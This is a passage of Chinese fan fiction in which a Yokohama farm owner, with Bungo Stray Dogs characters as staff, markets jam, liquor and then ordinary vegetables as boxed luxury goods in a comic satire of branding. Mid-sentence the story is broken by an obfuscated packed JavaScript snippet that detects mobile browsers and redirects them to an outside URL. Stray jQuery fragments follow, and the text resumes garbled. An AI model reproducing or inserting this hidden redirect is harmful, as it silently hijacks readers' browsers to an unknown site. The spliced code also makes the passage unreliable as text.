某一天，NHK的新闻节目里忽然出现了一段报道：


    “最近，一种标榜高端的小罐果酱开始引起人们的关注。从最初的质疑到如今的火热，它似乎已经成为横滨的一张新名片，也让更多人开始重新审视果酱这一传统食品的可能性。”


    屏幕里主持人用平和的语气讲述，而画面上是便利店货架上空空如也的场景，以及几位顾客提着购物篮，里面满满当当全是白沢小罐酱。


    “这种来自横滨的农业企业，正在悄悄改变日本人的餐桌。”


    甚至有些人直接冲向便利店货架——开始抢购。


    然后开始抢购。


    ……


    横滨只是开始，


    全日本的饭桌，都将被我用酱料、酒精与广告攻占。


    农业，才是新时代的武器。


    然后呢，酒——就是那款中原中也不承认自己喝过、但广告里他都从十岁就开始想喝的酒——卖得简直太好了。


    好到什么程度？好到我一度怀疑自己是不是应该转行做酒庄，不再浪费生命跟番茄和土豆纠缠不清。


    顾客们疯狂地抢购“沢台酱香”，哪怕我在瓶子背后印了“本品请适度引用，不具有保健价值，请勿对其功效抱有任何现实期待”，他们也照买不误。


    当然，我内心是欣慰的。毕竟，酒这种东西，文化厚度三分，发酵成本两分，余下的九十五分全靠故事堆出来。


    它不像蔬菜，种一天是一根，种一年还是一根，最多大一点，弯一点，不怎么能编出“喝了能见祖宗”这种营销故事。


    但这不代表我就要放弃蔬菜。


    蔬菜这玩意，虽然卖不上价，不上镜，不上热搜，但它是基础，是根，是我发家的起点。


    不能因为现在我坐在NHK广告黄金档，穿西装端红酒，就忘了当初我在泥地里跟番茄一起晒太阳、跟黄瓜一起除草的峥嵘岁月。


    我，白沢赤月，是一个有信仰的资本家。


    两手都要抓，两手都要硬。


    一边继续种菜，稳扎稳打，攻占横滨人每日三餐的核心战场；一边卖酒卖果酱卖罐头，像挖掘金矿一样，从大众情绪里疯狂捞钱。


    中也呢，被迫当了太多次代言人后，内心逐渐麻了。他现在只要一看到镜头亮起，自动进入营业脸状态，开始背诵：“我从十岁开始……”


    “……就不想喝这玩意。”他后面接上了真实台词。


    我：“咳。”


    中也：“……就只想喝沢台酱香。”他恢复广告台词。


    太宰在旁边笑得东倒西歪，拿着一瓶自制桃子白兰地边摇边念：“人生无常，不如醉在白沢小酿。”


    我站在这一切背后，看着我的员工各自散发光和热，眼神深邃如老母亲，又满意又得意，仿佛世界上所有不可能的商业奇迹，都将在我手中种出来，发芽，结果，然后变成账本上的漂亮数字。


    某天深夜，我坐在最高的观察塔顶上，喝着果味气泡酒，遥望着横滨的霓虹灯，轻轻吐出一口气：


    我的菜店，终于在某种意义上，走上了正轨。


    可喜可贺，可喜可贺。


    资本主义的春风，终于吹到了农田最深处。


    -----


    自从果酱、酒、罐头都走上了正轨之后，某天，我偶然来到菜店，盯着那一筐刚刚从农场拉回来的胡萝卜陷入了沉思。


    它橘黄、粗壮、形状规整，理论上应当是非常优秀的一根胡萝卜。


    但问题是，它卖不上价。


    我仿佛听到了它们无声的呐喊：“老板啊，我们也是蔬菜界的栋梁，为什么不能像‘吟藏酒’一样被高价卖出呢？我们有什么错？”


    错在你太真实。太诚实。太没有人设。


    所以我下定决心：要给我的菜——打造精品包装。


    在开会的时候，我宣布了这个惊天计划——把菜卖成横滨奢侈品。


    我要给所有的菜配上精致的包装，无论它是一颗白菜，还是一根小葱，都必须贵得光芒四射。


    太宰治第一个发问，懒洋洋地眯着眼，像个只会挖刺的人：“所以，你打算卖什么？‘可以吃的艺术品’吗？”


    “错。”我笑了笑，仿佛已经站在营销顶峰，“我卖的是——包装。”


    织田作低头算账，表示担忧：“这样的成本会不会太高……毕竟，我们的目标是盈利，不是用更高的成本撑门面。”


    “这你们就不懂了吧？”我拉来了一块黑板，在上面用力写了几个大字：“21世纪属于包装与概念的时代！”


    我的声音坚定有力，回响在我们菜店会议室里。


    会议现场陷入短暂的寂静。


    最终，太宰治像没骨头一样瘫在椅子上，一手撑头，一手随意转着笔，懒洋洋开口：“那我想，请问伟大的老板大人，什么是‘高端蔬菜’呢？”


    “很简单。”我把手中的大白板翻到另一面，展示上面的提案草图。那是一颗在华丽木盒里被摆得高高在上的白菜，配有插画级的背景装饰，如樱花小路、飞舞的纸鹤，然后最后附加一句广告口号：‘您买的，不只是食材，是一种优雅的生活态度。’


    这句话刚落，乱步立刻接茬，站起来说道：“哦，我懂了，‘高贵的温室青菜冒着生命危险冲破土壤，历经风雪，终于走到了一颗木盒里’这种故事对吧。”


    “乱步君，你理解能力一如既往地强！”我大拇指一竖，毫不吝惜地夸赞他，“你就继续发挥这种写法，我们把每一颗菜都赋予名字和性格。”


    “用更白话来说，”太宰从椅子上懒懒直起身来，还没等我继续，已经直接补充：“你就想着，包装得漂亮点，他们连吃不吃菜都无所谓，只要能炫耀，买走的速度比抢折扣还快。”


    “是的。”我点了点头，“我打算定价6000，6000只是普通装。贵一点，比如限量版‘故事系列’木盒白菜，大概定价在12000日元左右。我正在联系横滨的几家艺术高校合作，举行手绘主题木盒的设计大赛，结合我们菜的‘故事’，消费者能拿到编号限量的商品。没错，我的蔬菜即将跨入收藏级别。”


    连太宰忍不住笑出了声，那种太“过分荒唐”以至于连他都绷不住了的笑容。


    总之，我的第一步就是给每一棵菜定制专属包装。不是那种破塑料袋，不是纸箱，不是环保布兜，是——纯手工打造、榫卯工艺、深胡桃木色、内嵌棉绒垫的高定木盒。每一个胡萝卜都平躺其间，仿佛它不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410974|162160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是根菜，而是躺在丝绒里的文物。


    每一颗蔬菜，都贴有编号、有证书、有出厂履历，例如包装内页写着：“本马铃薯采自白沢农场西南田二号地块，土壤PH值6.2，播种日良辰，收获时月白风清。此土豆经历风霜，坚韧饱满，诚为日常主食之上品。”


    我不卖菜，我卖故事！不卖营养，我们卖意象！


    顾客以为这是一棵白菜？错，这是一段岁月的沉淀，是东方农业智慧的结晶，是一场从种子到唇齿之间的旅程！


    我要做蔬菜界的8848。


    那手机，不也就能打电话么？但它卖得比我一辆车还贵！凭什么？靠的是什么？——概念、稀缺、高定、上流感！”


    比如说，买一颗番茄，包装是一个雕花的木盒，盒盖一揭开，立刻响起舒缓的筝乐。木盒内部铺着一层如云似雾的薄纱，透着一股隐隐的仙气。揭开纱的瞬间，一束小灯缓缓亮起，打在那颗番茄的表面，像舞台聚光灯落在主角脸上，衬得那番茄红得透亮，鲜得发光。


    盒子里还有一张小卡片，上面写着：“白沢番茄，赤诚如心。谨献给懂得生活之味的您。”


    费佳都忍不住插话：“你这是卖菜？”


    我满意地点头：“正是要有这种仪式感。我们要让顾客觉得，不买下这颗菜，是对它人生的一种辜负。”


    于是我宣布，接下来的全新蔬菜系列将命名为：


    白沢臻选·供奉级蔬菜。


    我说：“记得加一句‘我们不是菜农，我们是高级蔬菜的搬运工’。”


    没过多久，果然有人开始排队抢购了。


    慢慢地，供奉蔬菜在网上有了自己的外号：“横滨蔬菜界的爱马仕”。


    某天，记者拦住了一位排队的精英人士，这位穿着剪裁得体的灰色西装、手腕上戴着名表的中年男人正一边刷手机一边等待。记者问他：“请问您为什么愿意花五千日元买一根黄瓜？”


    男人看了看记者，表情从容且略带优越感，轻描淡写地吐出三个字：“你懂什么？这可不是普通的黄瓜，这是一根供奉级黄瓜。”


    他说得理直气壮，仿佛世上只有他嗅到了这根黄瓜的“伟大价值”。记者愣了愣，嘴角抽搐了一下，继续追问：“那，请问，这根黄瓜和普通的黄瓜有什么区别呢？”


    “区别？”那人斜睨了记者一眼，整个人微微往后靠了一下，一副“真是乡巴佬”的表情，“普通的黄瓜是黄瓜，但‘白沢臻选’的黄瓜，是艺术，是人生。”


    现场另一排队的女士听到这话忍不住搭话：“对对对，供奉级黄瓜完全是种态度。你没吃过的人不懂，这不是吃黄瓜，这是在品味人生，人生是旷野。”


    一旁的记者张了张嘴，他试探性地问：“那么，供奉级黄瓜到底……是怎么体现它的‘新高度’的？”


    中年男人抬手拿出了某博主的视频，里面一根被摆在定制木托上的黄瓜正被五台顶级摄影机同时拍摄，灯光从四个角度洒下来，配上配音：“来自白沢，横滨顶级供奉，高贵品味的唯一选择！”


    视频里，黄瓜的水珠宛如黑钻石般闪烁，光都美得不真实。记者憋住拼命往上翻的白眼，强压下内心的小声控诉：“它……不还是一根黄瓜吗？！”